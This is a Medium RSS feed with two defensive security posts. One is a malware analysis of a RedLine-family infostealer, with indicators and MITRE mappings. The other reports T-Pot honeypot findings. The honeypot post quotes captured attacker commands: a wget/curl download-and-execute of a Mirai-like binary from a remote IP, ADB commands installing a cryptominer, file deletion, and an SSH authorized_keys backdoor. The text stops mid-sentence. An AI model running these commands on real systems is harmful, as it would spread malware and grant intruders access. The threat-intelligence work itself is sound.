<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhang Mandwale on Medium]]></title>
        <description><![CDATA[Stories by Abhang Mandwale on Medium]]></description>
        <link>https://medium.com/@abhang.mandwale?source=rss-18505c0a900------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PLGGcB-Q6fuebJwRfSvTgA.png</url>
            <title>Stories by Abhang Mandwale on Medium</title>
            <link>https://medium.com/@abhang.mandwale?source=rss-18505c0a900------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 06:13:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abhang.mandwale/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Beautiful Engineering of Malice: Dissecting OutPipe Infostealer]]></title>
            <link>https://osintteam.blog/the-beautiful-engineering-of-malice-dissecting-outpipe-infostealer-f89816f98b62?source=rss-18505c0a900------2</link>
            <guid isPermaLink="false">https://medium.com/p/f89816f98b62</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Abhang Mandwale]]></dc:creator>
            <pubDate>Fri, 22 May 2026 00:33:01 GMT</pubDate>
            <atom:updated>2026-05-22T00:33:01.099Z</atom:updated>
            <content:encoded><![CDATA[<p>In this project, I performed comprehensive static and dynamic analysis of a Windows based malware sample that belongs to the RedLine infostealer family, going by the name of OutPipe. My aim was to understand what data the malware targeted, along with how it communicates with the C2 server and finally mapping it all to the TTPs in MITRE ATT&amp;CK framework that blue teams can operationalize.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hVNaPAw76c2Q4Cd-" /><figcaption>Photo by <a href="https://unsplash.com/@stevecameup?utm_source=medium&amp;utm_medium=referral">Xavier Cee</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Introduction</h3><p>Infostealers have become one of the more common ways to facilitate cybercrime, enabling them to steal user information and also establish long-term persistence on infected machines. This raises a huge concern about the confidentiality of users. The sample that was analyzed falls into the category of a .NET-based RedLine variant targeting x86 Windows systems. This sample was built for fast data exfiltration, also called as ‘smash-and-grab’, rather than long-term persistence.</p><p>This analysis walks through the static and dynamic analysis of the sample, starting by validating strings, detonation in a controlled environment, capturing network behaviour using Wireshark, and finally mapping to MITRE ATT&amp;CK framework with mitigation strategies.</p><h3>Sample Overview</h3><p>The sample taken was a Windows PE32 executable for Intel 386 and late processors, built on .NET architecture targeting Windows environments. Following is how the sample can be fingerprinted:</p><ul><li>MD5: 4ef583c9ee908c829a31e64b917c7b30</li><li>SHA-1: 7637f89b03d5db9404c6206bd55ebb2fde2294c4</li><li>SHA-256: dbda6f421976910cdb3ddddf728dde8d7544516e2bb6510246ebc5d9a37ef5ca</li></ul><h3>Analysis Environment</h3><p>A completely isolated Windows 10 x64 virtual machine built with Oracle VirtualBox was used for analysis. Later, FlareVM was installed, which provides a carefully chosen malware analysis toolset that includes hex editors, PE inspection tools, debuggers, and network analysis tools over the base image.</p><p>To minimize risk, it was made sure that there was no bridging to the production network, turned off shared folders with the host machine, and a clean snapshot before starting any analysis. The snapshot ensured safe rollbacks of the virtual machine and worked as a backup if anything went wrong.</p><p>Tools used throughout the analysis:</p><ul><li>HxD — hex editor</li><li>Strings utility</li><li>PEView &amp; PEStudio</li><li>dnSpy — .NET reverse engineering</li><li>Procmon — process and file monitoring</li><li>Wireshark — packet capture</li><li>Autoruns &amp; Regshot — persistence and registry tracking</li><li>FakeNet — safe C2 simulation and packet rerouting</li></ul><h3>Initial Static Triage</h3><h4>HxD</h4><p>I started with using HxD to make sure the file actually a Windows executable and not a payload concealed behind a misleading extension. The file opened with the following information:</p><ul><li>4D 5A (MZ) signature</li><li>Legal PE header (50 45 00 00 — PE\0\0)</li><li>e_lfanew reference at 80 00 00 00</li><li>The well-known phrase “This program cannot be run in DOS mode”</li></ul><p>all of which is indicative of a genuine PE32 executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*bzxvB8ZguRpbzhAGnc4kGw.png" /><figcaption>Binary Data for Malware Sample in HxD</figcaption></figure><h4>VirusTotal</h4><p>Using the SHA-256 hash of the sample, VirusTotal identified several vendors naming it as RedLine, or a closely related variant. VirusTotal also provided with metadata such as initial submission dates, latest submission dates, target platforms implying that this was an operational malware rather than a synthetic sample.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AFJjh9oT6qngKZdm33ouwg.png" /><figcaption>Screenshot from VirusTotal</figcaption></figure><h4>Strings Analysis</h4><p>I used the strings utility to understand the high-level functionality built into the binary. Several function-like strings were found including:</p><ul><li>get_Password, set_Password</li><li>get_usernameField, set_usernameField</li><li>get__masterPassword, set__masterPassword</li><li>get_encryptedPassword, DecryptPassword</li></ul><p>strongly suggesting the ability to handle stored credentials and decryption logic.</p><p>Additionally, strings like CreditCard, GrabDiscord, DecryptNord with references to multiple browsers like Chrome, Chromium, Edge, Brave, Opera, Firefox and other niche browsers implying a large scope for data harvesting. Alongside that, strings like get_Sandbox, set_Sandbox and VirtualBox, which indicates there is detection code for sandbox environments to limit behaviour under analysis settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7mXzyOvhBwqgJiYBw-JCQ.png" /><figcaption>String ‘VirtualBox’ from Strings Utility Output</figcaption></figure><p>One key decryption command string was found: — abe-decrypt “{0}” “{1}” “{2}”, which indicates that the malware routine decrypts passwords stored by the browser protected by Windows DPAPI. Altogether, these strings were evident enough to conclude that the malware was indeed an infostealer focused on hunting browser and financial information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ml4wBUkH92wFn7tro52giw.png" /><figcaption>String ‘ — abe-decrypt “{0}” “{1}” “{2}”’ from Strings Utility Output</figcaption></figure><h4>PE Inspection</h4><p>Using PEView, it was confirmed that the sample was compiled for Intel 386 and later processors and is intended for x86 based Windows platforms. This step was crucial and helped validate basic PE structure and header fields before diving deeper into the analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8JbX0wZjaMsytu6QIsLv3g.png" /><figcaption>Malware File Header Information from PEView</figcaption></figure><p>On the other hand, PEStudio revealed far more information regarding IoCs and behaviour characteristics. It flagged a collection of URLs pointing to geolocation APIs like:</p><ul><li><a href="http://127.0.0.1/">http://127.0.0.1</a>:</li><li><a href="http://ip-api.com/json/?fields=query,countryCode,city,lat,lon">http://ip-api.com/json/?fields=query,countryCode,city,lat,lon</a></li><li><a href="http://checkip.amazonaws.com/">http://checkip.amazonaws.com/</a></li><li><a href="https://api.ipify.org/">https://api.ipify.org</a></li><li><a href="https://icanhazip.com/">https://icanhazip.com</a></li></ul><p>These URLs are the queries sent by the malware to external services to determine the IP of the victim. This is likely done to avoid, or target, specific regions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4DSWjx_led1YvNL0dpOMbg.png" /><figcaption>Strings Flags from PEStudio</figcaption></figure><p>PEStudio also flagged suspicious SQL-like queries such as:</p><ul><li>SELECT * FROM Win32_Process Where SessionId=’{0}’</li><li>SELECT * FROM Win32_Process Where SessionId=’{0}’ ID:</li></ul><p>Upon inspection, it was noted that these are Windows Management Instrumentation (WMI) queries that were used to enumerate currently running processes, possibly to identify security tools. Additionally, important DLLs like urlmon.dll (for fetching content from the web) and vaultcli.dll (credential manager for Windows) were also flagged, potentially hinting at multi-stage execution of downloading configuration from the C2 server and extracting stored credentials from the vault.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w23gc00OYhqyUppfbrwltA.png" /><figcaption>DLL Flags from PEStudio</figcaption></figure><h3>Confirming the RedLine Lineage</h3><p>Upon searching on the internet, RedLine infostealers are known for their aggressive targeting of browsers, including the lesser known niche browsers to exfiltrate credentials, cookies and financial data. The OutPipe sample demonstrated exact behaviour with strings that list mutiple browser profiles across Chromium and Gecko-based engines.</p><p>Along with VirusTotal’s classification, the mentions of browser credentials and credit card information, imply that the sample can be categorized into the RedLine family; specially identified as OutPipe from intelligence sources. With this, we conclude the static analysis and are ready to actually see the malware in execution.</p><h3>Dynamic Process Behaviour and Execution Flow</h3><p>In this stage, the sample was detonated in a sandbox environment while having Procmon and Task Manager running in the background. After execution, it was noted that the malware spawned a process named <em>‘OutPipe’</em> maintaining continuous activity, indicated a solid green bar in Procmon’s process tree. This tells us that the malware executed continuously and did not show short-term one-shot behaviour.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*xhM7pZtJ6U3Tc7k7rPAfjw.png" /><figcaption>Task Manager showing Active Malware</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*poK-N7ABE1cZgT7nQ8ssdQ.png" /><figcaption>Procmon Process Tree</figcaption></figure><p>In Procmon, the malware was seen establishing a TCP connection after rerouting the packets using FakeNet, that we will discuss presently. This connection aligns with the outbound communication to the C2 server. Interestingly, there were no obvious signs of pre-execution checks preventing the sample from running its core functions despite being in a virtual environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*iOU1wunlfBV3rVPIqbXyOA.png" /><figcaption>TCP Operations by Malware in Procmon</figcaption></figure><h4>Credential Theft Logic in dnSpy</h4><p>As the sample binary was in .NET, dnSpy was ideal in reverse engineering the logic. Different functions were found aimed at Chromium Engine with methods like ‘ReadData’ and ‘DecryptChromium’, while having separate methods aiming Gecko-based browsers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sY0qilZxN9vb248hPgSRZg.png" /><figcaption>dnSpy — Malware finding Chromium-based browser Credentials</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L8GFpdJOa_eURND370VIYw.png" /><figcaption>dnSpy — Malware finding Gecko-based browser Credentials</figcaption></figure><p>These functions extracted saved usernames, passwords and session cookies by navigating through typical browser storage locations such as login data, cookies and relevant SQLite databases. With the ‘ — abe-decrypt’ function, the code incorporates the logic to bypass the usual browser locks on these files, indicating a pipeline to extract credentials even when they are DPAPI-protected. The sample’s ability to cover accounts is largely increased by its capacity to extract data from an arsenal of browsers.</p><h4>Network Behaviour</h4><p>I used Wireshark to capture packets in order to delve further into the C2 layer as Procmon activity suggested network communication. Initial runs showed the malware attempting to establish a TCP connection to the hardcoded IP 77.90.185.66 over port 6677, a non-standard port choice likely intended to evade simplistic port-based monitoring.</p><p>The TCP handshake failed in the first attempt, hinting that the actual C2 server was not accessible. To safely observe the full communication flow without connecting to the actual infrastructure, FakeNet was used to imitate the same IP and port locally. FakeNet intercepted and rerouted outgoing packets so that, to the malware, it was communicating with the apparent C2, while all the traffic remained on the analysis host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*42SfMKWrEUA3aNxict0dsg.png" /><figcaption>Failed Packet Transmission in Wireshark</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7cFFMOzEMjsfVowXua4BxQ.png" /><figcaption>Rerouting using FakeNet</figcaption></figure><p>Wireshark was then able to record a successful TCP three-way handshake between the victim host and the simulated C2. Shortly after, packets with PSH and ACK flags carrying an XML payload were noted. The payload contained a SOAP-like request for ‘GetSettings’, implying that the malware obtains instructions from the C2 before selecting what data to exfiltrate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7qFKgBb9ZUeECjZlW1DD_A.png" /><figcaption>Successful Packet Transmission in Wireshark</figcaption></figure><h4>Registry, Services &amp; Persistence Analysis</h4><p>Autoruns and Regshot were used to compare the system state before and after execution in order to determine whether OutPipe established long-term persistence. Autoruns focused on more common auto-start locations like:</p><ul><li>HKCU\Software\Microsoft\Windows\CurrentVersion\Run</li><li>HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce</li><li>HKLM\Software\Microsoft\Windows\CurrentVersion\Run</li><li>HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce</li></ul><p>Neither Autoruns nor Regshot show any new entries in these locations that might have been caused by the malware. Additionally, OutPipe did not restart after a system reboot, indicating no persistence mechanism.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Niwz5rwLT3R3L8rB0_Ftig.png" /><figcaption>No Addition of Malware for Persistence</figcaption></figure><p>Although, a new service called WinDivert1.3 was noticed in Autoruns, which turned out to be installed by FakeNet rather than the malware itself. Regshot too showed WinDivert64.sys, again connected to FakeNet and not OutPipe, was written into the %TEMP% directory at:</p><ul><li>C:\Users\vboxuser\AppData\Local\Temp\_MEI52682\pydivert\windivert_dll\WinDivert64.sys</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g5tdWsqqr69prHG1cOBGuQ.png" /><figcaption>Addition of WinDivert1.3 in Services</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPtbC6fKMsfP8HywWGBhLg.png" /><figcaption>WinDivert64.sys Image Path from Regshot’s Output</figcaption></figure><p>It was interesting to note that the malware had no self-destruct or file deletion procedure, as the sample remained on the disk after execution. The ‘smash-and-grab’ model is reinforced by this behaviour of execute, steal data, send it out and exit without having a stealthy setup.</p><h3>MITRE ATT&amp;CK Mapping</h3><p>To contextualize OutPipe’s behavior for defenders, I mapped observed actions to relevant MITRE ATT&amp;CK techniques. Some key mappings include:</p><ul><li><strong>T1204.002 — User Execution: Malicious File</strong> The infection chain assumes a user manually executes the initial .exe payload, for example via phishing or a malicious download.</li><li><strong>T1497.001 — Virtualization/Sandbox Evasion: System Checks</strong> The presence of VirtualBox and sandbox-related strings indicates environment checks to detect virtualization and potentially reduce or alter behavior.</li><li><strong>T1518.001 — Security Software Discovery</strong> WMI queries such as SELECT * FROM Win32_Process Where SessionId=&#39;{0}&#39; are used to enumerate running processes, likely to spot antivirus or EDR agents.</li><li><strong>T1082 — System Information Discovery</strong> The malware collects system build, architecture, and GUID data as part of its profiling.</li><li><strong>T1614 — System Location Discovery</strong> External IP and geo-lookup services (ip-api.com, ipify, icanhazip) are used to geolocate the victim.</li><li><strong>T1555.003 — Credentials from Web Browsers</strong> The Chromium and Gecko routines target browser databases for login data, cookies, and web data.</li><li><strong>T1555.004 — Windows Credential Manager</strong> Importing vaultcli.dll suggests accessing the Windows Credential Manager to pull stored credentials.</li><li><strong>T1003 — OS Credential Dumping</strong> The --abe-decrypt routine is used to bypass DPAPI protections on browser passwords once the encrypted blobs are obtained.</li><li><strong>T1071.001 — Application Layer Protocol: Web Protocols</strong> The C2 communication uses SOAP/XML over HTTP as the application-layer protocol.</li><li><strong>T1571 — Non-Standard Port</strong> Outbound C2 traffic occurs over TCP port 6677 instead of common web ports 80 or 443.</li><li><strong>T1041 — Exfiltration Over C2 Channel</strong> Stolen credentials and system profiling data are sent over the same HTTP channel to the C2, observed via PSH-flagged packets in Wireshark.</li></ul><h3>Risk Assessment &amp; Impact</h3><p>Based on its capabilities, OutPipe falls in the category of <strong>high-severity</strong> infostealer. While it does not establish persistence and therefore might not fall into the critical category, it still performs successful reconnaissance and can quickly exfiltrate important data during a single execution window.</p><p>The main effect is data breaches, particularly those involving browser-stored passwords, financial data, and session cookies, which can be used for fraud, lateral movement, and account takeover. The lack of persistence does not lessen the risk; even if the host seems clean after a reboot, the damage is already done once credentials are obtained and exfiltrated.</p><h3>Mitigation Strategies</h3><p>From a defensive standpoint, several mitigation strategies emerged.</p><ul><li>Many common vulnerabilities that infostealers and their delivery techniques rely on are closed by keeping operating systems and applications up to date.</li><li>It’s critical for users to adopt a zero-trust mindset. Unsolicited links, unexpected file attachments, and “too good to be true” online offers should all be viewed with mistrust because they are popular entry points for malware like OutPipe. Because social engineering and account hijacking are frequently linked to infostealers, users should be cautious even of messages that seem to be from friends and relatives.</li><li>Businesses and people should only install software from reputable, verified sources and favor programs that have been signed by reputable creators. Infostealers frequently use unsigned or “cracked” software that they get from dubious websites. Early warning signs of an infostealer compromise can be identified on the defensive operations side by keeping an eye out for odd outgoing connections to non-standard ports, frequent IP geolocation API queries, and suspicious SOAP/XML communication to unknown addresses.</li></ul><h3>Conclusion</h3><p>This project forced me to walk through the full lifecycle of malware analysis, starting with basic PE triage, through static strings, into .NET reverse engineering, finally into dynamic process and network analysis. In order to safely recreate C2 communications that would otherwise be unavailable or too dangerous to connect directly, techniques like FakeNet and WinDivert were especially helpful.</p><p>Mapping the observed behaviours to MITRE ATT&amp;CK framework provided a structured way to communicate findings to defenders, translating raw technical observations into the language of techniques and procedures that SOCs and threat hunters use every day.</p><p>In conclusion, analyzing OutPipe enhanced my understanding of modern infostealers as fast, targeted tools focused on data and credential theft rather than loud and persistent infections. It also made clear how crucial it is for defenders to identify them within that short but harmful execution window.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f89816f98b62" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/the-beautiful-engineering-of-malice-dissecting-outpipe-infostealer-f89816f98b62">The Beautiful Engineering of Malice: Dissecting OutPipe Infostealer</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Deployed T-Pot Honeypots Twice and Here‘s What Attackers Did Next]]></title>
            <link>https://osintteam.blog/i-deployed-t-pot-honeypots-twice-and-here-s-what-attackers-did-next-cc06b365ea70?source=rss-18505c0a900------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc06b365ea70</guid>
            <category><![CDATA[cyber-threat-intelligence]]></category>
            <category><![CDATA[honeypot]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Abhang Mandwale]]></dc:creator>
            <pubDate>Thu, 07 May 2026 01:13:21 GMT</pubDate>
            <atom:updated>2026-05-07T01:13:21.478Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i9VgxAiEG3KybGdT" /><figcaption>Photo by <a href="https://unsplash.com/@benyamin_bohlouli?utm_source=medium&amp;utm_medium=referral">Benyamin Bohlouli</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Honeypots are one of the most effective ways to observe real-world attacker behavior without putting production systems at risk. For this project, I set up two identical T-Pot honeypot nodes in Stockholm and London, two separate cloud regions in Europe, to see how visibility, routing, and location affect what attackers do when they locate you.</p><p>These two nodes recorded over 2 million connection attempts, collected live malware samples, disclosed credential attack patterns, and demonstrated how various CVEs and MITRE ATT&amp;CK tactics appear in the wild over the course of around a month of data collecting. This post walks through the setup, the key findings, and what they mean for anyone building threat intelligence or hardening internet-facing services.</p><h3>What is T-Pot?</h3><p>T-Pot is an open-source, all‑in‑one honeypot platform maintained by Telekom Security. T-Pot operates a set of containerized honeypots and monitoring tools under a single web interface, as opposed to deploying a single honeypot. It covers a variety of protocols and attack surfaces with a single deployment, including but not limited to:</p><ul><li>Cowrie — SSH and Telnet interaction and credential abuse.</li><li>Dionaea — capturing malware binaries and exploit attempts.</li><li>Adbhoney — attacks against Android Debug Bridge (ADB) over TCP.</li><li>Conpot — other ICS/industrial-style decoys.</li><li>Mailoney and additional services to attract spam and other application‑layer abuse.</li></ul><p>T-Pot becomes a lab-grade environment for threat intelligence since it collects logs into a central dashboard. This allows us to observe where traffic originates, what services are probed, which payloads are dumped, and how attackers chain commands together.</p><h3>The Setup</h3><p>The core idea of this project was to keep the configurations exactly the same and only change the geography. I wanted to check what changes when they are deployed in two different locations and IP ranges. Both the nodes were:</p><ul><li>Deployed with T-Pot v24.04.1.</li><li>Configured with T-Pot’s Hive mode, so logs were aggregated centrally.</li><li>Exposed via public IP addresses with inbound rules allowing TCP access to all ports.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-40Hc0rOeo6QfjTKvtzlIw.png" /><figcaption>T-Pot Dashboard</figcaption></figure><p>To keep the setup realistic and always running, I used an AWS EC2 instance in Stockholm and a DigitalOcean Droplet in London. This also helps in isolating it from personal networks and not invite unwanted traffic to our local machine.</p><p>All outbound traffic, however, was blocked to avoid any compromised honeypot to contact a command-and-control (C2) server. This basically creates a dead-end where attackers can interact but nothing goes out.</p><h4>Why was Stockholm and London chosen?</h4><ul><li>London is a hub of large Internet Exchange Points and is known for dense scanning and attack volume.</li><li>Stockholm has less saturated traffic comparatively, thus giving us a good contrast for understanding how much difference geography makes.</li></ul><p>This is done to ensure any differences in behaviour is solely driven by the geography and where the IP range sits.</p><h4>Setup Exposure</h4><p>To observe as much activity as possible, it was decided that both deployments listened on all 65536 ports. This gave visibility on:</p><ul><li>Well-known ports like 22 (SSH), 23 (Telnet), 21 (FTP), 80 and 443 (HTTP/HTTPS)</li><li>Uncommon ports that botnets might use for misconfigured access or service</li></ul><p>Allowing all inbound traffic and blocking all outbound traffic limited the blast radius of any successful exploit to the honeypot itself.</p><h3>Discoverability</h3><p>‘Discoverability’ describes how likely a node is to be indexed and probed by a large-scale internet scanner like Shodan or Nmap. In this experiment:</p><ul><li>The London node appeared with significantly more open ports in Shodan’s view, suggesting heavier scanning and indexing coverage.</li><li>The Stockholm node, despite an identical setup, showed fewer ports in Shodan, even after Nmap confirming that all ports were open on both nodes.</li></ul><p>Over the observation period, the London node recorded over 2 million incoming TCP connection attempts, whereas the Stockholm node recorded just over 200,000 connection attempts. Here, three main factors likely contributed:</p><ul><li><strong>Geolocation</strong> — Regions near major exchange points naturally see more scanning and botnet traffic.</li><li><strong>ASN reputation</strong> — Some ASNs are more heavily monitored and probed based on historical abuse patterns or popularity as hosting providers.</li><li><strong>Visibility via scanners</strong> — Once a node appears in tools like Shodan, it can be repeatedly targeted by opportunistic attackers who browse these indexes for vulnerable services.</li></ul><h3>Where the Attacks Came From</h3><p>A rough but helpful picture of the areas where scanning and exploitation traffic is concentrated is provided by geolocating attacker IPs. London and Stockholm showed both overlap and divergence when the source IPs were mapped to nations in this experiment. Some patterns are as follows:</p><ul><li>The United States ranked as the top attacking country for both nodes, with over 553,000 connections toward London and more than 102,000 toward Stockholm.</li><li>The Netherlands appeared prominently for both nodes, with other repeat countries including France, India, and Germany.</li><li>Additional countries such as China, Russia, Vietnam, and others appeared in the top lists, matching broader reports that these nations are among the most active in cyberspace.</li></ul><p>Country-level data are not fully accurate (due to proxies, VPNs, and compromised hosts), but as a high-level heatmap it still helps guide where large botnets and scanners are being run from at scale.</p><h3>What Attackers Targeted</h3><p>Honeypots also show which services receive the most interest. This is more useful for defense than the raw IP list since it reveals which ports and protocols are “noisy” by default. Some patterns that stood out across both the nodes:</p><ul><li>Command injection chains and brute-force login attempts were regularly drawn to SSH and Telnet services (via Cowrie).</li><li>Botnets aimed to enlist devices into extensive attack networks by targeting IoT-style endpoints.</li><li>Opportunistic probes continued to be sent to services that mimicked industrial control or specific protocols (such Conpot-like profiles).</li></ul><p>This aligns with what many SOC teams observe in the real world: anything that resembles SSH, web admin panels, or embedded devices will constantly draw unauthenticated traffic and password guessing.</p><h3>Behaviour Analysis</h3><p>Honeypots not only provide insight on what was attacked, but they also provide key insight on how attackers do it once they connect. Two behavior-focused analyses stood out in this project:</p><h4>Command Sequence</h4><p>The ordered list of commands an attacker executes during a session is examined via command sequence analysis. Although T-Pot’s honeypots never run these instructions on an actual machine, recording these logs reveal how adversaries traverse the filesystem, which tools they try to download, and what configuration changes they try to make for persistence. Some commonly used command patterns included:</p><ul><li>Use of curl and wget to pull binaries or scripts from remote servers.</li><li>chmod being used to make downloaded files executable.</li><li>Repeated attempts to run the same chain of commands, suggesting automated scripts or bots retrying failed steps.</li></ul><p>It is, therefore, simpler to identify new TTPs (Tactics, Techniques, and Procedures) and write detections that match entire chains rather than just individual commands by combining these sequences.</p><h4>Credential Analysis</h4><p>The usernames and passwords used during login attempts were the main focus of the credential analysis. The logs show how attackers create and reuse credential dictionaries, but as these are fake systems, no actual accounts were at risk. Some key trends that were observed:</p><ul><li>Heavy reuse of weak passwords and default credentials (for example, common device or vendor defaults).</li><li>Overlap between the most frequently used usernames and passwords across both nodes, indicating widely shared password lists in the wild.</li><li>Minor variations in top combinations by region, suggesting some lists may be tuned slightly by target geography.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*e0PtoUJr8wUxekBq8zpM8A.png" /><figcaption>Common Usernames Tried</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*ubynQ6LeLgkDGyq_EbXeBQ.png" /><figcaption>Common Passwords Tried</figcaption></figure><p>For organizations, this kind of data directly informs password policy baselines and hardening guidance for exposed services.</p><h3>Case Study 1 — Trinity Malware (UFO Miner)</h3><p>One of the most interesting finds came from the Adbhoney honeypot, which simulates Android Debug Bridge (ADB) over the internet. ADB is normally a developer tool used to debug Android devices and push updates, typically over ports 5555 or 5557.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_WSXaTe0HM3tl7OI-fmhQ.png" /><figcaption>nohup and trinity inputs</figcaption></figure><p>When inspecting the Adbhoney dashboard, several top commands contained nohup and trinity, which immediately stood out. Filtering requests for the string trinity revealed traffic that could be traced to a communications company in China, pointing to a known strain of malware called Trinity (also known as UFO miner). The captured chain of commands looked like:</p><ul><li>pm path com.ufo.miner</li><li>pm install /data/local/tmp/ufo.apk</li><li>rm /data/local/tmp/ufo.apk</li><li>am start -n com.ufo.miner/com.example.test.MainActivity</li><li>ps | grep trinity</li><li>rm -rf /data/local/tmp*</li><li>chmod 0755 /data/local/tmp/nohup</li><li>chmod 0755 /data/local/tmp/trinity</li><li>/data/local/tmp/nohup su -c /data/local/tmp/trinity</li><li>/data/local/tmp/nohup /data/local/tmp/trinity</li></ul><p>In sequence, the attacker checks if the com.ufo.miner package already exists. If not, installs it via an APK (ufo.apk) from a temporary directory. Removes the temporary file to reduce artifacts. Starts the malicious activity via an Android activity. Grants execute permissions (0755) to local helper binaries (nohup and trinity). Executes the miner, potentially with elevated privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WXJAwrbwmx5KBToXkrXykw.png" /><figcaption>Trinity Malware Chain of Commands</figcaption></figure><p>The Trinity/UFO miner is designed to perform cryptomining on compromised Android and IoT devices, effectively turning them into a botnet for earning cryptocurrency. The captured hashes, when checked on VirusTotal, had already been flagged by multiple vendors, confirming the attribution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sez0-Yn5-lknu0wRWyBKJg.png" /><figcaption>Scan of Hash 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbBE-pQAllLCkdJXHfkX9A.png" /><figcaption>Scan of Hash 2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xXSOSKtE4siJb_UJdp1nag.png" /><figcaption>Scan of Hash 3</figcaption></figure><h3>Case Study 2 — Mirai-Like Binary Distribution</h3><p>An interesting pattern was recorded on the London node: a classic ‘download and execute’ chain that dropped architecture-specific binaries. The chain of commands looked like:</p><ul><li>cd /data/local/tmp;</li><li>rm *;</li><li>busybox wget &lt;http://94.154.35.154/arm.uhavenobotsxd;&gt;</li><li>curl &lt;http://94.154.35.154/arm.uhavenobotsxd&gt; -O;</li><li>chmod +x arm.uhavenobotsxd;</li><li>./arm.uhavenobotsxd android;</li></ul><p>Here, the temporary directory is cleaned to reduce noise or potential conflicts. wget and curl are both used, where one serves as a fallback method. The binary is then made executable and launched with an argument hinting at Android usage. Additionally, logs showed attackers using multiple binaries for various CPU architectures such as ARM (including v5, v6, v7), x86 32‑bit, MIPS, and MIPSel to maximize success across multiple platforms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d1mLQxjORdxItQc-7B-ouw.png" /><figcaption>uhavenobotsxd Binary Logs</figcaption></figure><p>Analysis of the binary signatures and behavior indicated similarities with Mirai‑family malware, which is notorious for building large-scale DDoS botnets from compromised IoT devices.</p><h3>Case Study 3 — SSH Backdoor Installation Attempt</h3><p>Not all attacks are performed on exploits; some adversaries use mechanisms like SSH keys to establish stealthy and long-term persistence. The Cowrie honeypot captured attempts to install a new SSH backdoor by modifying the .ssh directory and authorized keys. Following is the recorded chain of commands:</p><ul><li>cd ~</li><li>rm -rf .ssh</li><li>mkdir .ssh</li><li>echo &quot;ssh-rsa AAAAB3N... mdrfckr&quot;&gt;&gt;.ssh/authorized_keys</li><li>chmod -R go= ~/.ssh</li></ul><p>The chain of commands removes any existing SSH configuration. Then it recreates the .ssh directory and populates authorized_keys with the attacker’s public key. Lastly, it locks down the permission so that only the owner has access. If this were a real system, anyone with the corresponding private key would be able to log in without a password, even if the legitimate administrator hardened other access paths. This is a textbook example of using “legitimate” features (SSH key auth) as a stealthy backdoor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Melwkgcl3Z5J-Zhd_KRRdw.png" /><figcaption>Backdoor Installation Attempt</figcaption></figure><h3>Case Study 4 — WannaCry Ransomware Samples</h3><p>Malware binaries dropped during exploitation attempts were caught by the Dionaea honeypot. Upon 